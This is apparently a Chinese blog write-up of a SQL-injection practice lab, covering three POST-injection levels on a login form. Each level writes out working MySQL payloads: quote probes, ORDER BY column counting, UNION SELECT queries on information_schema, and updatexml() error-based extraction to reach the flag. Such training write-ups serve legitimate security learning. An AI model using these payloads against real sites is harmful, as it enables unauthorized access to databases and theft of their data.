mysql注入靶场,SQL注入靶场—Post注入 Rank1-3

---------------------------------Rank 1 -------------------------------------------------

先在表单Username编辑框中输入1,点登录,页面回显如下:

876d580573d2

image.png

然后在Username中输入1',点登录,再看回显,看是否存在注入:

876d580573d2

image.png

可看到存在注入,且从错误提示信息中可以看到,数据库是MySQL,因此这里可以使用updatexml()函数进行报错注入,也可以直接构造union 联合查询语句进行注入。这里我就使用后者了。

先获取字段数,构造语句如下:

1' order by 3 #

876d580573d2

image.png

构造语句:

1' order by 2 #

则无报错信息,故字段数为2。

获取当前数据库名,构造语句如下:

1' union select 1,database() #

876d580573d2

image.png

获取表名,构造语句如下:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

876d580573d2

image.png

获取字段名,构造语句如下:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='zkaq' #

876d580573d2

image.png

然后查询zKaQ字段就能获取flag。

---------------------------------Rank 2 -------------------------------------------------

先在表单的Username编辑框中输入1,点登录,页面回显如下:

876d580573d2

image.png

可以看到这里在sql语句中,将username等号后面的值用小括号和双引号括起来了。

所以这次试用 1" 来判断是否存在注入:

876d580573d2

image.png

看到了熟悉的MySQL报错信息,这就好办了。

直接来吧,先确定字段数,构造如下语句:

1") order by 3 #

876d580573d2

image.png

再构造如下语句:

1") order by 2 #

结果没有报错信息出现,所以字段数是2。

获取当前数据库名,构造语句如下:

1") union select 1,database() #

876d580573d2

image.png

获取表名,构造语句如下:

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

876d580573d2

image.png

获取字段名,构造语句如下:

1") union select 1,group_concat(column_name) from information_schema.columns where table_name='zkaq' #

876d580573d2

image.png

然后查询zKaQ字段就能获取flag。

---------------------------------Rank 3 -------------------------------------------------

先在表单的Username编辑框中输入1,点登录,页面回显如下:

876d580573d2

image.png

可以看到这里在sql语句中,将username等号后面的值用小括号和单引号括起来了。

所以这里使用 1') 来判断是否存在注入:

876d580573d2

image.png

看到了熟悉的MySQL报错信息,本以来这道题也跟上面的Rank 1 和 Rank 2两道题一样的套路,但发现联合查询语句查询的结果并没有回显到页面中,因此就不能这么干了。

但幸运的是,用 1') 进行注入判断时,确实页面上出现了MySQL的报错信息,那下面尝试使用updatexml()进行报错注入。

首先获取当前数据库名,构造如下语句输入到Username编辑框中:

1') or updatexml(0,concat(0x3a,(select database())),0) #

876d580573d2

image.png

可以看到确实有错误信息显示在页面上,并且已经将所查询的信息暴出来了。

继续获取表名,构造如下语句:

1') or updatexml(0,concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 4,1)),0) #

876d580573d2

image.png

获取字段名,构造如下语句:

1') or updatexml(0,concat(0x3a,(select column_name from information_schema.columns where table_name='zkaq' limit 1,1)),0) #

876d580573d2

image.png

然后查询zKaQ字段的内容就可以拿到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值